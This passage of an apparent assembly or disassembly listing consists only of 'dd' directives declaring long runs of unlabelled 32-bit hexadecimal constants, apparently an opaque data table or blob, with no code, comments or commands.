		dd 58E00175h, 8B87AE52h, 0C737C1A0h, 15EDC941h,	11223776h
		dd 0D3800028h, 0F45ADDF1h, 85FD41D7h, 904AD59Bh, 0E497ACD5h
		dd 163E7948h, 923103CBh, 80503475h, 866420Bh, 0CC0F8C3Dh
		dd 74C35CABh, 88C2AE57h, 0C1EA59CCh, 0A06F882h,	3B1B7BFDh
		dd 24F5268Eh, 3B731B87h, 3DF127A2h, 55A7F4C7h, 422781B9h
		dd 0ABE4C6D0h, 2386FC5Dh, 0FA297732h, 22BF4FD0h, 4D7D777Fh
		dd 6DA686F2h, 6A27CA05h, 758EB944h, 0DFE8BD44h,	0CF0F5A6Ah
		dd 0B4A4DE4Bh, 0ABC37EEAh, 8F9F0D8Eh, 0F671A83Fh, 32A6BD88h
		dd 0BCC21D3Eh, 3445A977h, 20E93C56h, 56A9DFFh, 17C60483h
		dd 0F60F9DFDh, 7F172E77h, 0D33ED1CFh, 0FE62D9E7h, 0B5EE1DDEh
		dd 0B3FE72F9h, 30D2B445h, 0C8359656h, 0A444936h, 0F837A08Dh
		dd 0DD5CDBC1h, 7A27E486h, 0EB5AA6A2h, 246181BEh, 0D1BCE680h
		dd 71DA4A35h, 0D43CB71Dh, 4E55E8DCh, 7860537Eh,	8490469Fh
		dd 0CAF49C7Ah, 0D812033Ah, 97A16F1Fh, 950C326Bh, 4C09774Eh
		dd 0DE6C1258h, 0D369FEC2h, 0E33BC77Dh, 3E7E99D0h, 0A78D0B39h
		dd 18974EDCh, 0F0B6B4C4h, 0F949C7F5h, 0D51F2970h, 93A56D62h
		dd 0CAE2EF23h, 391A3703h, 0F127F1D8h, 0F9043F59h, 6D1F6DEAh
		dd 0BB0BC7CEh, 95791E82h, 3A6F5C5h, 63FD189Dh, 0DFFF93B8h
		dd 0B4DC09C9h, 0E5141E58h, 8E59CFDDh, 0ADB2E71h, 5B3092C2h
		dd 6D85AFE8h, 0AE1D8E3Dh, 0AFD2751Fh, 31811245h, 473D6381h
		dd 6275B3F1h, 2698952Fh, 0AA4E7B80h, 2B132BC3h,	1786910Ah
		dd 0EDEBF81Fh, 4C37365Fh, 0DB4E0C19h, 6D829D58h, 83237E0Dh
		dd 0DC79B793h, 8868FBB6h, 1733B107h, 0F8C4693Eh, 4446FBC8h
		dd 5ADA8F83h, 0B3AFECE7h, 56629A39h, 684DBAA3h,	0D1239C2h
		dd 3BC13B35h, 1098840Eh, 0D5D84E2Ah, 88057F50h,	9DB0BA3Fh
		dd 53E08CBEh, 54C50B46h, 24F8496Ch, 9A11A65Fh, 8E5B412Dh
		dd 3868BABh, 0E428F37h,	3D58C93Bh, 8F178E65h, 5B1609DEh
		dd 0FA6DF3D1h, 32E37565h, 1B2CEE7Bh, 3B7BDC8Bh,	8C60E9CEh
		dd 2B25181Fh, 0C5D78B9Bh, 0A2E0F518h, 462EE59Bh, 0A3B94FC6h
		dd 0A6E01609h, 0BC1BB06Ch, 0F6228F45h, 6000B6Bh, 0F53D198Bh
		dd 94FD91F7h, 0C59ECAA8h, 0C504C3F6h, 0F312729Bh, 3520B9DCh
		dd 0F6B89D61h, 42D2A501h, 0DBA3F24h, 13F877B4h,	0FB23AACFh
		dd 8353FF7Ah, 0ACEA853Bh, 81B4ADC3h, 557031Ah, 0CDE4482Ah
		dd 846E847Eh, 0DFAB6D24h, 43064713h, 0E9B82D5Dh, 753252A6h
		dd 0F582AF81h, 8CA063E9h, 0B728C2AEh, 700C50FBh, 0F08E62FAh
		dd 6CF206E6h, 0B029BABDh, 5B48C0F2h, 0BCE629BCh, 0E70FC96Dh
		dd 9FAA247Bh, 2B26CD9Fh, 3C26DB9h, 9F62CF9Bh, 96171C49h
		dd 0FD817C49h, 53A5A32Bh, 3433F7F0h, 2D518BCh, 878BCEF0h
		dd 4B5936FBh, 9CB596h, 8191CD88h, 0BC2E5917h, 0CB69E1D2h
		dd 3456F78Dh, 0AEFCD107h, 0C32051F9h, 705CEAFDh, 0EA23F302h
		dd 78FFF3B5h, 1ED2E8CEh, 0C94976A9h, 40D75139h,	0FD895080h
		dd 0FFB7F5ECh, 0ECFEDF34h, 0F413B889h, 0C09259FFh, 2EF4CE02h
		dd 43E6B0D8h, 1E736C66h, 2BAA483Ch, 83D09CE9h, 1DEF828Ah
		dd 52E0196h, 8710D61h, 2BC3515Dh, 4B8C5342h, 0F7E46D2h
		dd 0C054E7ABh, 0D08476Dh, 0D8F31767h, 0F2E7B961h, 15303ABEh
		dd 0D0ED56DEh, 418CDC5Ah, 73E9E08Dh, 2D1056A8h,	0B3FF1E40h
		dd 0A25012D6h, 0F6CB676h, 4CCBA721h, 0E087A655h, 56F1EB3Dh
		dd 89AB49DCh, 7837F910h, 382EA893h, 2FD59D17h, 0C62FCACBh
		dd 1DED932Dh, 0FDF2FE52h, 0A6AF26E7h, 0D80FF606h, 31B69066h
		dd 7CDCE6C0h, 0C7B62719h, 0AF21C5B6h, 59642EDEh, 4F73D53Ah
		dd 5288110Bh, 0C44C90B3h, 0E9DD9172h, 399DF966h, 9ECBDC38h
		dd 0E6E3C936h, 0DAADE748h, 0A3056784h, 9D1FE7D2h, 0BCEE01DDh
		dd 84963618h, 0C217DA5Eh, 8A1D5D9Dh, 0B19D3417h, 2064715Bh
		dd 80BBCB3Bh, 0F3A371B2h
		dd 0D7725880h, 9D36F184h, 0C2E78FACh, 86AC85E8h, 57C02602h
		dd 9B4F11C2h, 0C56AD986h, 70F0444Ch, 0D9B099B0h, 0A8387AD7h
		dd 804B36A5h, 19C10859h, 0F4A0E284h, 0A2F0E4Ch,	642D88CEh
		dd 7C6A0B2Dh, 0B60E33E1h, 9F562F13h, 4EDF04Fh, 0C5F5D698h
		dd 0AA0DC1DFh, 0D2E5B3BBh, 16F70829h, 0CA816438h, 57CA7266h
		dd 0CCFBE314h, 1ABDB02Fh, 3EF24795h, 8F90F14Ch,	680CA205h
		dd 0AECFBCBDh, 45CAAA94h, 0A95C718Eh, 0C51662DDh, 0FBC8FA0Ah
		dd 78755EE5h, 576E5CE1h, 6B003616h, 8E25AEE7h, 1C8228ECh
		dd 4B860348h, 74CA1105h, 54E53A4Fh, 0CDB6CDE3h,	0DCD84EE5h
		dd 0AC605038h, 81ADCE5Dh, 0CE594A55h, 0DAD18692h, 578DF9FCh
		dd 0DEE34CFh, 0ADCAA45Fh, 0E4B18AEBh, 0A1D739B7h, 8072A463h
		dd 0A37FB412h, 1AEF7A44h, 93747B7Dh, 91109362h,	0C9A4B188h
		dd 33FC5929h, 0F2E909CEh, 17FAB940h, 0C5C201CEh, 0EC8F053Ch
		dd 8F1FB20Eh, 94363A04h, 8162D470h, 0F19E35C0h,	0EFE9D4C0h
		dd 0B53268CDh, 0A4999E1Ah, 71BF2A01h, 7895D6Bh,	0BAFCFB2Dh
		dd 0B72E553Fh, 89DBC830h, 197B30BBh, 83D53E0Eh,	94AEA1D9h
		dd 0C8ED1003h, 0A07C9C76h, 3B4F74E8h, 90DDE157h, 33646DB7h
		dd 93509ACBh, 649BFF3h,	806CCE98h, 9F8693B1h, 0BA3959Eh
		dd 4FFF05B9h, 27131528h, 0CBEFDCCFh, 8BECE949h,	40F511E2h
		dd 0EB0FB3BEh, 1D4C68B4h, 0F0BB9769h, 0AD5D6F2Ah, 47ADCBD2h
		dd 74177CB0h, 0CF8A1AB4h, 8DCA91Bh, 0BFCC9C15h,	2E3756ACh
		dd 7E0DD8A5h, 0E904BDB4h, 83DAFF6Ah, 88561071h,	0D49ACA3Eh
		dd 0D0EB94ABh, 0B3BBD952h, 53FB96D9h, 6E648207h, 1B903730h
		dd 0CE324A79h, 292EBDCAh, 74C4B7BAh, 6513750Fh,	0E0A13448h
		dd 0F014A840h, 255625D0h, 3CDEC971h, 561C1F3h, 52E1020h
		dd 0C8B9BC0Eh, 8AC420E9h, 499C5873h, 0C31E40AAh, 0D667FCDh
		dd 0C75FAD30h, 375D942Ch, 8CE6B6C9h, 2FC26BD7h,	5F70639Ah
		dd 562F80B0h, 3CE00AFBh, 0F571BA42h, 5CE01F1h, 11D6DBB1h
		dd 1021D5Dh, 71F60E21h,	0FF9E9D48h, 0E7C9FD2h, 6F5CAF7Eh
		dd 5C9DA918h, 0F179DAB0h, 0FE46004Ch, 0BF8093DAh, 0BBC321E8h
		dd 0E3AC1D05h, 0F2128742h, 535B9808h, 227CE250h, 6F9EE5C6h
		dd 0DB0AEBD1h, 0EED545C3h, 9A153682h, 2ED7F0CEh, 591DB678h
		dd 4F078F73h, 0E3D79E36h, 6B791864h, 543A1994h,	229851B8h
		dd 0F878311Ah, 9E1E6AA7h, 0D46F0AAAh, 4E34A289h, 3829CA19h
		dd 8DC6C66Bh, 0BAF6BDF4h, 0C81D18Ah, 97788FE0h,	61388325h
		dd 0C5B9A33Dh, 80AC0DC2h, 65073700h, 2B062F87h,	7D2C1BD9h
		dd 0F96FE823h, 235111E0h, 6CBF224Ah, 2EF79581h,	992627Dh
		dd 140CCF4Fh, 993ABD15h, 77083E68h, 921C09D5h, 6BDD7967h
		dd 7048E46Fh, 63C2AE3Fh, 48CCCC52h, 0AFA9BA8Dh,	0B96AFB1Fh
		dd 0A5309E57h, 0A7ECC50Eh, 0E72D0629h, 50CD878Dh, 0BCB98457h
		dd 0CD591DD0h, 0F1DC5807h, 0C07EB4DAh, 0ED5D53BCh, 0A15D1271h
		dd 777C6085h, 0B211E206h, 1C58F636h, 16E70EE3h,	72F1EBEFh
		dd 0B0EE3005h, 0C54AB568h, 86406A8Bh, 0E1C7FCE4h, 0D2EC086Dh
		dd 6E6E8BFh, 9FA4B1E3h,	99C2A771h, 7E086332h, 49D9855Ch
		dd 0DA48954Fh, 3F3A7A0Dh, 0B84ACDB3h, 300F3E75h, 54651487h
		dd 0C1BBCC2Ch, 355BB7C4h, 0A6148552h, 72CD9AD7h, 4D19E5A8h
		dd 67DEE560h, 91FADF15h, 0B50D5A54h, 476544C0h,	0B8CB2345h
		dd 360A91BEh, 9489E2ECh, 879DAD49h, 390CDF3h, 0B980F346h
		dd 95932329h, 694A56A1h, 5B4EEB94h, 0CDFDB926h,	68EF5AAAh
		dd 3FBFA0C1h, 0F96CF6D2h, 4669C1CBh, 4BB46A89h,	44C9A0E2h
		dd 5EE19680h, 9B7CE42h,	34DD63Eh, 64CB035Dh, 803C8EA5h
		dd 5E7B0A6Eh, 3111C53Eh, 6DCB356Ch, 0F6F60405h,	29FE4CFCh
		dd 0A991C44Ah, 8738D3BAh, 0F00AF412h, 0BFD546FFh, 599EA2D7h
		dd 4EA84856h, 7482385Ah, 285A7E6Fh, 92F69278h, 0F1F36097h
		dd 51A847B1h, 12959E9Ah, 17326072h, 7E2D66EBh, 6B0DE4A8h
		dd 2363244Fh, 0F9EEC52Ch, 46BE19C5h, 4FE4A0E6h,	0A5FDD64Fh
		dd 0E5870F6Ch, 2CA2E675h, 0BBCF2416h, 0D56ECB31h, 0D8316FB9h
		dd 790271FEh, 0EE53327Fh, 0C25C8D4Eh, 0FA2DF8B5h, 660007A8h
		dd 6AFE5740h, 49E65071h, 3E842123h, 8F634B13h, 4AC86FEFh
		dd 3334EE2Bh, 6981937Fh, 3679832Ch, 0C3281F3Ch,	246BDB6Ah
		dd 0BB1D4787h, 89209D7Eh, 46CCF8AAh, 3E012D2Bh,	3740606h
		dd 242A8CD4h, 170CAC1Bh, 1CBF747Eh, 3BCF2674h, 1DD67714h
		dd 0C2FB92D2h, 4EC2E9B7h, 4B5975F6h, 4374DED2h,	71729A5Fh
		dd 9B601BD0h, 77553642h, 9FBE56ECh, 1E6DCBF3h, 2B3D203Bh
		dd 4D26BF47h, 0C1630319h, 12005566h, 3559AA90h,	0B614D9Fh
		dd 8D6FA2F5h, 614E37DEh, 93156FC0h, 547468EFh, 8836E30Ch
		dd 303CCCDAh, 0F0EAE4F5h, 0BF71BF8Eh, 65D01FD6h, 32443D6Ch
		dd 8C26C8C9h, 29FDFFF3h, 4426A90Ah, 9CDFBE81h, 0EC216729h
		dd 4B0ED500h, 0FE4AAFE9h, 0ACF64F58h, 833C5D39h, 18EB68A9h
		dd 0F65E308h, 7B35F9A1h, 0C5247AD9h, 0F0AF00D6h, 86C3BE1Bh
		dd 0E2A3EEBCh, 0E6F62329h, 0DAC6628h, 94448320h, 8E3174CFh
		dd 60BA427Ah, 6384AFE2h, 0CADCDB14h, 231D6967h,	1A0FF903h
		dd 3E7F9F44h, 416B87E1h, 5A78F34Bh, 6694D244h, 91B1DBC0h
		dd 38B2D3E0h, 7AC9F7EBh, 5B6E4596h, 87463FAh, 31FC5E33h
		dd 67D0D9C3h, 0FD56C9BCh, 7BBFF951h, 0CD5671B1h, 41EDEAB2h
		dd 78034250h, 5E4915D7h, 52993C8Eh, 0BDFB990Bh,	0F70DF981h
		dd 0E6923609h, 0C4F4D3F7h, 28B07F22h, 31A12E2h,	95E342ECh
		dd 0A5B22B10h, 0F0442E68h, 52888A83h, 0A244C684h, 1D7B91F6h
		dd 6C93ADB2h, 3469D9E5h, 61B289C7h, 2AB9DED6h, 651EF1C1h
		dd 7F4621F1h, 2CB877F5h, 0C583C9EEh, 46A6BDF6h,	9628E19Bh
		dd 0FDF8AC7Ch, 87D4B1EAh, 0E6A6008Fh, 704796D3h, 2A9FE19Dh
		dd 0ECA59D83h, 91BC7A3Dh, 0F6F044A4h, 352F768h,	2789E256h
		dd 0D51208AEh, 21F291BFh, 0E72C4D4Bh, 0E6783463h, 246C37h
		dd 4F94B79Ah, 73AC38F9h, 430FF773h, 1392531Ah, 89088F26h
		dd 5F0D4EF8h, 0FE519529h, 0C38E8AF1h, 0E374DC14h, 120EDCBAh
		dd 0E63D6B36h, 2FD3614Eh, 0C51A918Dh, 9D226525h, 69E67CCEh
		dd 0CFC27ECEh, 0A95458A9h, 1FFE9939h, 8DF92E3Ah, 55C8D655h
		dd 44FE38F8h, 1F820D7Fh, 52357B90h, 0C272AD3Ah,	0BE4DC2BFh
		dd 0A9FC2ECAh, 19EA510Ah, 0A398C15Dh, 4910013Eh, 975768CAh
		dd 0ED09BF3Ch, 2CB51AA8h, 0FDBC7181h, 1BA095A6h, 3C81B8D2h
		dd 9164C937h, 0AE5063EEh, 34DED0C3h, 957C0F76h,	7AC903D5h
		dd 6958BEF2h, 0BE4589DEh, 805EAEE4h, 0A7D9389Fh, 0CE10913Eh
		dd 0DC5E3FECh, 0FBE5BFC8h, 833310F4h, 3E4150BEh, 7F9A390Bh
		dd 31B8BA31h, 9C6A453Ch, 0A4409E00h, 0A300F65Ah, 1752BEF6h
		dd 1BA83FDBh, 36C1CC6Dh, 654594E0h, 7FEE42DEh, 0C623222Fh
		dd 0B2F48A38h, 0CE87B1C4h, 0A2F6B0F0h, 7306E395h, 0F09200FAh
		dd 96EA539Eh, 0E7D2458Bh, 0B4201274h, 2DB889E8h, 0FCC3AF54h
		dd 3245DF02h, 857E739Bh, 1DBE063Ah, 1463A6EAh, 0C42EE22Eh
		dd 26CF46Bh, 54E73E9h, 0D659B0FBh, 2F0511Ah, 0D6D2371Fh
		dd 2F36DE46h, 8AA186BDh, 2CF8C484h, 97C9C9EDh, 0A24020F2h
		dd 48A28B2Dh, 3B80CE61h, 521CC80Dh, 0C52CC58Eh,	0CE1BBED4h
		dd 0D18BA1C4h, 0CCBE3DA6h, 0AD5C5610h, 5453BCEBh, 5698D638h
		dd 24A51E0h, 57EE5B37h
		dd 43AC8E56h, 1682CDFCh, 98824D0Eh, 45E4F14Dh, 0A9E2A164h
		dd 0ADE5E9Fh, 7D2B6156h, 6BD9805Ah, 969A85CBh, 5BA568A7h
		dd 0DE8C0C49h, 4861A775h, 6C82C130h, 6C422DDh, 40B7FECEh
		dd 0F0170777h, 0EC14D3D1h, 0BD441916h, 0AE7830D0h, 0C2AEFD29h
		dd 0B57925A0h, 3055A8CDh, 960EC7FBh, 7FB534CCh,	355F71DBh
		dd 0BBCF7AD4h, 0D8B078FEh, 78A142A7h, 0F9EC0FAFh, 0F263FDEh
		dd 0D76CEAD2h, 80BF6F37h, 0C76D245Bh, 33D5565Bh, 9BC5B280h
		dd 18A35A09h, 0B0876AAEh, 0A7397A1Dh, 0D5149E70h, 6CB28B8Fh
		dd 0AD33245Ah, 1679FE74h, 0F0E76A56h, 783FB52h,	791D39B7h
		dd 66C33A4Bh, 30DAA8EEh, 714F0BDEh, 0D82262A1h,	4AC92A06h
		dd 7AD757F1h, 48697B65h, 0C052AF19h, 0EA4C8B9Ch, 0BAF27565h
		dd 2A1DA9BEh, 63540F47h, 0A714EAECh, 0F103D811h, 502DF09Bh
		dd 0ED557E5Bh, 7F6157C4h, 9899C4A5h, 0E2B45C93h, 13BE4336h
		dd 27EF8B95h, 648E61Fh,	0EBBC06C9h, 652E4F81h, 0CAD8AFFh
		dd 2DD64C9Dh, 3AD32A05h, 72FDD358h, 8C0516D2h, 2F00EC3Eh
		dd 50097D54h, 0ACDC5482h, 4B969303h, 0CA1F7549h, 0E958D0A3h
		dd 76C213DAh, 73BF435Bh, 0C763B27Ah, 3AC9F08Ah,	7D726574h
		dd 0D6E61C28h, 0D12413C0h, 0FF205F5Fh, 0DD44FABDh, 43C1EA80h
		dd 851F870Dh, 0D28CEE48h, 0D1C63A97h, 0A4D8288Eh, 5E957573h
		dd 5F523738h, 3CDD1EAFh, 0D43A2214h, 2558818Ch,	1E353562h
		dd 9FA2A76Eh, 6989C770h, 72EAED4Dh, 0A7BB5C4Ah,	0E766E790h
		dd 0E672C10Dh, 71F367Fh, 0BC8671C3h, 0AA835503h, 0B130FA95h
		dd 0FA5B776Eh, 6D8F5FC9h, 11B4515Fh, 2710B217h,	0D352390Fh
		dd 400044ACh, 0AC9B42BEh, 0D022D30Dh, 1DDE5918h, 440B94Eh
		dd 5BDEB0D4h, 0E68B3DC5h, 4CE62712h, 4885B85Bh,	9F8998C4h
		dd 47E55FBFh, 0A93BBF5Eh, 416EC260h, 9D26F52Eh,	442BE62Ah
		dd 901DC0A7h, 0A50A18C7h, 72CF0B8Eh, 0EAFF3AF0h, 0F3745D56h
		dd 1CB85972h, 55760D07h, 0D8C9F2Dh, 2964D8Ah, 4E2E0BD1h
		dd 0DF957A4Ah, 491326EDh, 51E743FAh, 65170B81h,	674BB675h
		dd 0B0A982h, 4AC29E34h,	3C8B12ECh, 0FD0CE96Fh, 0A8C66598h
		dd 0F02D740Bh, 5BED349Ah, 861E5C08h, 0B153EFBAh, 91C3CF58h
		dd 14573B1Eh, 7D2539D8h, 0DACDDFC0h, 0DCD5930Ch, 741D0C69h
		dd 165D863Fh, 0BA400E3Ah, 0EDF25D08h, 28E83D4Eh, 0E4490A7Ah
		dd 78679DDBh, 96F067C4h, 5A34C428h, 57D5FF66h, 3BAE26EAh
		dd 0BE3384F7h, 79EBD6BAh, 0DC466721h, 0A4B9F4DEh, 0F8E68590h
		dd 0F8F5AE12h, 69797E66h, 56AEF988h, 2E63CBF0h,	0B56C04B3h
		dd 1138EF41h, 7D942B5Bh, 14918704h, 563F7BEDh, 186F98B7h
		dd 0F2067132h, 6B91012Ah, 849E01D2h, 16E6F6E4h,	847CD97Ch
		dd 6A2217E2h, 5B6AC790h, 2CCCB7E4h, 0A8167650h,	439962E2h
		dd 0CBD2AED9h, 0C83A539Bh, 95A65D61h, 2F437057h, 263806BAh
		dd 0B4ABD88Eh, 0B570ADB7h, 0A199397Fh, 0DD2DFB8Bh, 2EFFC863h
		dd 0F5EE2A10h, 0B2463D79h, 0C159CA5h, 4B7AFFB6h, 1E74E4C3h
		dd 6FCBDD23h, 0B8DBEAE9h, 5586BFEFh, 0EACBFD97h, 0B1A7516h
		dd 13A4CD98h, 8F8D4A7Bh, 0C185FEA4h, 0D9BAACB5h, 0FD0AC0EEh
		dd 0FE1C3FBEh, 0F8FAA6CEh, 385C618h, 0CD245FA6h, 1494F547h
		dd 0AA53D50Bh, 595B6850h, 63F25A63h, 93091007h,	7A44DAEh
		dd 0C0310604h, 4A4173C7h, 0D89FA0A6h, 2EE6D23Dh, 64FE9F67h
		dd 0ED6FC3E6h, 75D1BA17h, 32C64721h, 10068E2Bh,	77541716h
		dd 4C57A8D2h, 0F872E989h, 0FC058A3Fh, 0FA41FB01h, 0B7C2F3BFh
		dd 0D9630BADh, 3BA81144h, 6AEF3DE1h, 7524CF57h,	24DD4F21h
		dd 0F52AD586h, 2EEBB524h, 14DBF505h, 0FDA71C2Bh, 21A4CCCh
		dd 0F1E0ED7Eh, 67747A17h, 0A9815603h, 0F22A661Eh, 288601E8h
		dd 8A76AC8h, 0CBD412B1h, 0DB0652F8h, 52777D4Dh,	604D2133h
		dd 67615CB5h, 0B9E4E01Ch, 937DAF8Dh, 0C5BCDFC4h, 62A6FB3Ah
		dd 0D0E176B1h, 7F98A285h, 4831A7F1h, 294AEA8Fh,	894CC7B3h
		dd 8D59BC6Eh, 492EA805h, 0E13B5E22h, 7A8E3A29h,	94ABE26Eh
		dd 748A845Bh, 9A7E9570h, 41F59668h, 3426D929h, 425720C2h
		dd 273C2F9Dh, 122B52CEh, 912B18BBh, 32650D6Ch, 64A745A9h
		dd 90565BC8h, 958A3943h, 0E924893h, 1D1C0321h, 0C3B452ADh
		dd 9E288EB6h, 0DDA258B3h, 949920BFh, 276AE54Fh,	0BD314D15h
		dd 8571E4BEh, 9C145E24h, 0CCFA4923h, 66DEB580h,	46C8C156h
		dd 0EDDDAE0Ch, 288B8B11h, 495D7480h, 0B3507D90h, 418ADCF3h
		dd 0C1F0819Dh, 79CCF6BCh, 0EA6FBEA9h, 19DB3613h, 9A6F5878h
		dd 0A61A592Ch, 525F7284h, 0C89A2DDDh, 1F04A612h, 35AFDB00h
		dd 0E7CD8266h, 95388498h, 0A7D1612Eh, 0CA8EC251h, 0A0587983h
		dd 0CACF164Ch, 497FE74Ch, 7CB3E287h, 0F48FCFB7h, 0C276FC7Fh
		dd 23B8D23Bh, 32CC214Ch, 0AEB1464Ch, 5FF285A4h,	277C15B0h
		dd 0CA813CF4h, 2921B308h, 59ACACh, 8938B0EAh, 2B2F4E32h
		dd 89C1721Fh, 3BD3A0C1h, 0EF745990h, 70C5E522h,	0DFB5AB67h
		dd 7F93C389h, 35CD1B79h, 0DDE97201h, 0E722258Ah, 0BF9185E8h
		dd 0C007BFF9h, 3EFC8EE4h, 670B44A0h, 0BCCE536Dh, 65E9B211h
		dd 76F4FEEh, 1659B127h,	1C355D24h, 948381BEh, 62FE1A58h
		dd 6FFE9B94h, 88DB045Ch, 6D0AAFE3h, 0C52F7013h,	46B754C8h
		dd 520F67EFh, 1176B2F7h, 912B85BBh, 946BDE48h, 7DEF786Bh
		dd 0B51E1E9Dh, 0EBDACA86h, 926B70F8h, 0A274C200h, 0AAB6E707h
		dd 5A52E6DFh, 50A1B664h, 0C9E8BFE8h, 939C544Bh,	0ABF7713Ch
		dd 390C0044h, 317DD338h, 0EF856D14h, 0A7564A51h, 13DEE599h
		dd 84E33EF5h, 0CAD3A079h, 558EC655h, 0A6B1FB26h, 9C4AA8DCh
		dd 0A4B41C61h, 0E84DB5D6h, 65D6FAA7h, 6204EA80h, 0C60F8AA0h
		dd 1EF2D429h, 0C1E741ACh, 0F1685F9Eh, 8DE62367h, 0CC125313h
		dd 0C0A8AFD9h, 0C39DBBEAh, 0FB0C1C1Ch, 9596BF73h, 0B36A2E1Ch
		dd 5AD1FDC1h, 0F10E573h, 0FFA16BE5h, 0E9BA8DE5h, 0EF58ACCEh
		dd 0FC0DC296h, 509AE32Eh, 0F146594Bh, 0AC7E7B59h, 9A312A46h
		dd 34B5567h, 0E6DD490Fh, 8AEB3ECFh, 5A27CC45h, 3AF8E004h
		dd 627231CCh, 0F0927CE5h, 94F3CF4h, 5BDDA755h, 0CE6CBD41h
		dd 0BCFF84A0h, 0AF090FFBh, 3FC90F04h, 0F0A5369Bh, 1B4B8CFAh
		dd 0DCF96B0h, 56EA6B17h, 0FCD5EED3h, 477FA70Ch,	0E60CE49Bh
		dd 0E3F946CBh, 0B0F9C820h, 14A308F8h, 0DAC5D985h, 0CF999934h
		dd 66E5EA26h, 5F7EF7E7h, 26E464D2h, 93456412h, 0DA2BA922h
		dd 0FDBFAA15h, 3B79D693h, 5803582Ah, 3A6FC10Fh,	7D954A47h
		dd 2060C6E7h, 4D147E6Eh, 5AB5F19Ch, 82A844D4h, 0F77DE3EEh
		dd 0ACE7EAA4h, 717BB0EEh, 0E828BDA1h, 5E2B8199h, 6FABF36Ch
		dd 2B0363BAh, 403B6C87h, 7F38DB10h, 0D2BE3A50h,	0F88AC316h
		dd 0D26CF754h, 48281F80h, 0BB0BD121h, 0D2E692D7h, 0C2589471h
		dd 34E70156h, 62163153h, 0E75F180Eh, 7CDBAB0Ah,	0F4A885A3h
		dd 0D1133434h, 8D1C6BE9h, 883C2C1Dh, 3C28A1F1h,	0A680C373h
		dd 0B73FE9E5h, 971F899Ah, 0A9220183h, 0B9BEB5AFh, 0C9F29F7Dh
		dd 9951B1Ah, 4BFF5375h,	0D7302356h, 460D829h, 16F427E9h
		dd 0A1560F2h, 0C474B157h, 0BDEDB8E3h, 1B77637Dh, 0C83C6A42h
		dd 4E0B0810h, 33067BDDh, 0FD234AA6h, 121C549Ah,	4D0F9C43h
		dd 64C1E922h, 1B185500h, 4F05C06Ah, 0A63462F9h,	94699D2h
		dd 358BAA20h, 91FE961Eh, 2D0B0229h, 3571F746h, 35B4A81Ch
		dd 0C2F32C54h, 83D3021Eh
		dd 89386A38h, 0BD99319h, 0FFC598F5h, 97A6C916h,	0F1E1AE00h
		dd 0B38E5FD6h, 0A8E0C95Bh, 0FE0A9252h, 664D6A7Fh, 0E534A444h
		dd 53058E2Eh, 2B98EB47h, 18F78223h, 7379481Bh, 3113374h
		dd 5BB959Ah, 1A9ED94Dh,	22EDF455h, 9F358681h, 0B7C9E86Fh
		dd 4AC8A05Ah, 0EE6FDEB2h, 329E3B56h, 0BFC7DCDFh, 0A39BC824h
		dd 0ECA1D3Ah, 4BFFFE96h, 97AD86DCh, 0C5AD6578h,	0EC9C81CFh
		dd 4CC639B2h, 0B7A67C40h, 7AE3A166h, 898BED61h,	417F4059h
		dd 0D6D3369Ah, 0E8AFFF98h, 18599AEEh, 0C57EF31Bh, 0F318D824h
		dd 7C639354h, 1F1C3A90h, 3DE019B5h, 6499FF07h, 8E8EF21Ah
		dd 2D83E134h, 6D25283Dh, 960D193Ah, 45C525A2h, 332C432Ch
		dd 87DE1479h, 4A3E559Ah, 0FBDE7849h, 74B5D82Dh,	0D61B142h
		dd 1AB50A09h, 24E54425h, 0D4D80462h, 0E71E646Fh, 0CB1CB8E4h
		dd 0C9CBC556h, 9A9D72BAh, 0F78A501Eh, 956CFDEAh, 961C44DCh
		dd 0AC3F60A0h, 1295964h, 0E6B4371h, 0E5C25AADh,	50F91B10h
		dd 0F9D61547h, 8FEEA0D6h, 0BD3D4A51h, 17C6E3ECh, 0CE27C463h
		dd 0ECD7A0D5h, 0FA3B1992h, 5930C59Ch, 0E23485E9h, 133254E0h
		dd 1316BBEFh, 0E96CF2FAh, 2B579299h, 0B01D815Eh, 78A625F8h
		dd 0A963FC49h, 0C66F8892h, 4FFA87F2h, 0D29AD3BAh, 2C01948Bh
		dd 506B41BDh, 0FE102069h, 0ABA80644h, 23BBC580h, 9148CCA8h
		dd 13BD40EFh, 8F2A8166h, 0D9A8DD65h, 82498106h,	9C1E2D97h
		dd 58BD97E6h, 0B3A12E4Ch, 0F237D6Ch, 139B15B6h,	1D27F4DCh
		dd 7373A9E5h, 6E1EFDDAh, 0D9DA3FD6h, 0C0192BF6h, 61F796D7h
		dd 92A26A28h, 0E729F395h, 1EAA6D2h, 0D4EBB656h,	0DE87D29Bh
		dd 0E4CBAC0Eh, 66360F9Ch, 0D3437711h, 68EB7545h, 0CBE677FCh
		dd 2B2FBCDFh, 8EC12288h, 85A9E68Eh, 935C8664h, 0E9050CF5h
		dd 8500CF4Eh, 0A7C8A313h, 0D97D331Ch, 29B34392h, 7955708Dh
		dd 80BEDA53h, 7E529E8Eh, 0D07CD49Eh, 93C2EA6Ah,	7E2A43FCh
		dd 640843DEh, 0A5B159F9h, 85515BE0h, 135D44AAh,	48F73B6h
		dd 84BEDD04h, 807F8EA7h, 913EF68Dh, 0D1DB73A6h,	66370092h
		dd 129333E9h, 1D4C9AC5h, 4F3926C4h, 0FA2E7404h,	0EF01782Eh
		dd 5BCAB612h, 92F0B203h, 7635E11Ch, 0A6C9E8A0h,	0DCCE8CA2h
		dd 34588100h, 7344AFC0h, 8071ACB4h, 90D62E85h, 8F8CC5EDh
		dd 15330828h, 757B563Ah, 492D6140h, 4EEF4876h, 9CDD42Eh
		dd 0EA1596B8h, 0B2FD69F0h, 0EC206083h, 0C927EAD3h, 0DBA97180h
		dd 8C219C66h, 0DC7E3BF0h, 0B2AD6F9Dh, 0A43E9D89h, 9C91439Ah
		dd 5B87A452h, 56B60DDDh, 0E5854EEFh, 0B5AE1303h, 3FBA2EBFh
		dd 0D2F710EEh, 46BC0970h, 0D28D323Eh, 40525337h, 39BB962Dh
		dd 0CE1F785Bh, 608BD2C5h, 22A75451h, 6D13A70Bh,	0ACF4C732h
		dd 1FA4AB12h, 0D3CD546Ch, 45F3C252h, 220CF665h,	356A2B2h
		dd 8A591D31h, 0E40E1C3h, 0F8CDF93Bh, 0F9976D65h, 0D4E2F92h
		dd 915E0596h, 5870D96Ch, 0C9F38E32h, 7CD9149Ch,	0A3B4B1EEh
		dd 0B361E47Fh, 335A7BD6h, 7F8BE495h, 0F1EA3F63h, 0E647059h
		dd 93CC62F8h, 2351B419h, 0F4B76DB7h, 0DAFD6BD8h, 0EA73A3DFh
		dd 75FB0B07h, 0DC0697DAh, 5085886Fh, 5E8E9526h,	0EC645B85h
